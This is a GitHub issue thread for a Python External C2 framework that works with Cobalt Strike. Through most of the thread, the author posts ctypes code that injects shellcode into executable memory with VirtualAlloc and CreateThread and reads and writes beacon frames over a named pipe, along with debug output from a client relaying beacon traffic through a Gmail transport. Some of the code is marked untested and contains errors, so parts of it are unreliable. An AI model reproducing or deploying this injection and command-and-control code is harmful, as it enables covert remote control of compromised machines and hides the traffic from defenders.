Und3rf10w / external_c2_framework

Python api for usage with cobalt strike's External C2 specification

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Create a client that is a full python implementation

Und3rf10w opened this issue · comments

Currently, the client relies on a dll to be distributed with it that it calls with ctypes to write and read from the beacon pipe, and inject the process.

This could all probably be done entirely with the ctypes library in python.

For example, the stager injection process currently looks like this:

DWORD length = (DWORD) pylen;
char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(payloadE, payload, length);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL);

Something similar could be entirely in python as so:

import ctypes

def injectStager(stager_payload):
    shellcode = bytearray(stager_payload)
    ptr = ctypes.windll.kernel31.VirtualAlloc(ctypes.c_int(0),
        ctypes.c_int(len(shellcode)),
        ctypes.c_int(0x300), # MEM_COMMIT?
        ctypes.c_int(0x40)) #PAGE_EXECUTE_READWRITE?

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
    
    ctypes.windll.kernel32.CreateThread(None,
        ctypes.c_int(0),
        ctypes.c_int(ptr),
        None,
        ctypes.c_int(0),
        None)

Ideally, the read_frame, write_frame, and creation of the beacon named pipe would be reimplemented in this manner as well.

Here's some untested possible code to use:

import ctypes

MAXLEN = 1024*1024

# Open file handle to the beacon
def open_handle():
	handle_beacon = ctypes.windll.kernel32.CreateFileA("\\\\.\\pipe\\foobar", GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, None)
	return handle_beacon


# Inject the shellcode
def injectBeacon(payload):
	# lib.start_beacon(payload,len(payload))
	payloadPtr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
			ctypes.c_int(len(payload)), 
			ctypes.c_int(0x1000), # MEM_COMMIT
			ctypes.c_int(0x40)) # PAGE_EXECUTE_READWRITE
	ctypes.memmove(ctypes.addressof(payloadPtr), payload, ctypes.c_int(len(payload)))
	ctypes.windll.kernel32.CreateThread(None, 0, ctypes.c_int(payloadPtr), None, 0, None)


# Read the frame
def ReadFrame(handle_beacon):
	mem = ctypes.create_string_buffer(MAXLEN)
	# lib.read_frame(hPipe,mem,MAXLEN)

	temp = 0
	total = 0
	# DWORD size = 0, temp = 0, total = 0;
	size = ctypes.windll.kernel32.ReadFile(handle_beacon, mem, 4, ctypes.byref(temp), None)
	while (total < size):
		# sleep(3)
		ctypes.windll.kernel32.ReadFile(handle_beacon, mem + total, size - total, ctypes.byref(temp), None)
		total += temp

	return size


# Write the frame
def WriteFrame(handle_beacon, chunk):
	# ret = lib.write_frame(hPipe, c_char_pipe(chunk), c_int(len(chunk)))
	wrote = 0
	# Write the size of the frame
	ctypes.windll.kernel32.WriteFile(handle_beacon, ctypes.c_int(len(chunk)), 4, ctypes.byref(wrote), None)
	# Return the written data
	return ctypes.windll.kernel32.WriteFile(handle_beacon, ctypes.c_char_pipe(chunk), ctypes.c_int(len(chunk)), ctypes.byref(wrote), None)

Need to test and debug.

Getting very close with the changes introduced in eb9a919. I'm having an issue where the beacon process keeps dying before I'm able to read a second frame. I can successfully get metadata, but once I write an empty task to the beacon, it seems to die before I can read the next frame.

Here's the client side output for more info:

Waiting for stager...
['502']
Got a stager! loading...
Loaded, and got handle to beacon. Getting METADATA.
Received 132 bytes from pipe
relaying chunk to server
Checking for new tasks from transport
['504']
Got new task: 
Writing 1 bytes to pipe
Writing to pipe: 

Traceback (most recent call last):
  File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 224, in <module>
    interact(handle_beacon)
  File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 194, in interact
    chunk = ReadPipe(handle_beacon)
  File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 157, in ReadPipe
    return read_frame(handle)
  File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 151, in read_frame
    result, size = win32file.ReadFile(handle, 4, None)
error: (233, 'ReadFile', 'No process is on the other end of the pipe.')

Obviously, I know that the read_frame() function works because it's reading and relaying the metadata properly... No clue why I'm getting 'No process is on the other end of the pipe.'

Got a python client to work with commit 0c08281! I tested it with the transport_gmail module, and it works fine.